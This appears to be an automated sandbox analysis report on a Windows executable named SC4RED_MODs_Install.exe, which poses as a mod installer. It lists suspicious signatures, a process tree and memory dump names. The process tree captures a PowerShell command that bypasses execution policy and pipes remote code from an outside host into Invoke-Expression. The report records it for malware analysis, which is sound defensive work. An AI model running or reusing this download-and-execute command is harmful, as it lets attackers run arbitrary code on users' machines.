Resubmissions
14/10/2026, 02:43
261014-c7j7vsvs8l814/10/2026, 02:39
261014-c5mvzavs6j814/10/2026, 02:35
261014-c3e3caew6t814/10/2026, 02:27
261014-cxh7taev918Analysis
- user interaction
yes - max time kernel
151s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
14/10/2026, 02:35
General
- Target SC4RED_MODs_Install.exe
- Size 68.4MB
- Sample261014-c3e3caew6t
- SHA256 6ef0d1575c08076c06746c657f4bf9d845cc3e65841d3e2ffa9a52cdafbe0bb7
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SC4RED_MODs_Install.exe"C:\Users\Admin\AppData\Local\Temp\SC4RED_MODs_Install.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "irm steamkeys.lat | iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_tkvllcc0.uyw.psm1
memory/1200-98-0x00000254F1610000-0x00000254F161A000-memory.dmp
memory/1200-96-0x00000254F1620000-0x00000254F163E000-memory.dmp
memory/1200-105-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-104-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-102-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-101-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-92-0x00000254F14E0000-0x00000254F14F2000-memory.dmp
memory/1200-97-0x00000254F1880000-0x00000254F1932000-memory.dmp
memory/1200-99-0x00000254F1670000-0x00000254F169A000-memory.dmp
memory/1200-100-0x00000254F1670000-0x00000254F1694000-memory.dmp
memory/1200-81-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-85-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-93-0x00000254F10F0000-0x00000254F10FA000-memory.dmp
memory/1200-91-0x00000254F16B0000-0x00000254F1872000-memory.dmp
memory/1200-90-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-89-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-84-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-80-0x00007FFED58CF000-0x00007FFED58D0000-memory.dmp
memory/1200-86-0x00000254F1110000-0x00000254F1132000-memory.dmp
memory/1200-87-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/1200-88-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4180-40-0x0000018202050000-0x0000018202080000-memory.dmp
memory/4180-76-0x000001820A900000-0x000001820A950000-memory.dmp
memory/4180-18-0x0000018203E20000-0x0000018204100000-memory.dmp
memory/4180-72-0x000001820A700000-0x000001820A710000-memory.dmp
memory/4180-66-0x0000018209C80000-0x0000018209D40000-memory.dmp
memory/4180-68-0x0000018209B60000-0x0000018209B80000-memory.dmp
memory/4180-60-0x0000018204720000-0x0000018204740000-memory.dmp
memory/4180-56-0x0000018208600000-0x0000018208630000-memory.dmp
memory/4180-6-0x0000018201310000-0x0000018201FA0000-memory.dmp
memory/4180-10-0x0000018203130000-0x0000018203E20000-memory.dmp
memory/4180-22-0x00000182005A0000-0x00000182005C0000-memory.dmp
memory/4180-26-0x00000182005F0000-0x0000018200610000-memory.dmp
memory/4180-15-0x0000018200560000-0x0000018200580000-memory.dmp
memory/4180-30-0x0000018200630000-0x0000018200650000-memory.dmp
memory/4180-34-0x0000018201FC0000-0x0000018201FE0000-memory.dmp
memory/4180-44-0x00000182023F0000-0x0000018202430000-memory.dmp
memory/4180-48-0x0000018204510000-0x0000018204690000-memory.dmp
memory/4180-52-0x0000018202080000-0x0000018202090000-memory.dmp